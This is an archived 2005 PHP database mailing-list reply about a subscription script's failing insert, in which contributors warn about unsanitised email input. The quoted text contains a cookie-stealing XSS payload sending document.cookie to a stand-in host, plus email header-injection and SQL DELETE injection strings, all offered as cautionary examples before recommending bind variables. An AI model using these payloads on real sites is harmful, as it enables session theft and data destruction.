Re: insert (database)
| From: | Jochem Maas | Date: | Thu, 03 Feb 2005 11:45:04 +0000 |
| Subject: | Re: insert (database) | ||
| References: | 1 2 3 | Groups: | php.db |
| Request: | Send a blank email to php-db+get-38464@lists.php.net to get a copy of this message | ||
Martin Norland wrote:
Jochem Maas wrote:ah yes - that would an effective attack in/on an email ;-)Yemi Obembe wrote:Then the malicious user gets to send their own cookies for this site to another site of their choosing :P. I would be more worried about it being equal to things like: "Spam my Enemy <myenemy@poorsap.com>" + "Spam my Enemy also <myenemy@poorsap.com>" + etc. or "\r\nFrom: Idiots Inc. <official@forum.emailaddress>" or "'; Delete from arbitrary_table_name where 'yes'='yes"the objective of the script below is to first search if a subscriber is already in a list before subscribing his email (so as to prevent double subscription). the select part works fine....but the insert doesnt. know why? if ($v = strtolower($_POST['email'])) {what happens when $_POST['email'] is equal to '<script> document.location = "http://www.evilkid.net/?stolencookie"+document.cookie; </script>'; or something like that? Just something to think about.
All of which are easily prevented with some attention to detail. (or in some cases newer versions of software, which explicitly allow only one statement per call). Finally - the concept of bind variables (or equivalent) are your friend (as Jochem already knows with firebird iirc).yes indeed! praise to the guy who wrote the new firebird extension :-), savin' my ass on a daily basis :-)
Cheers,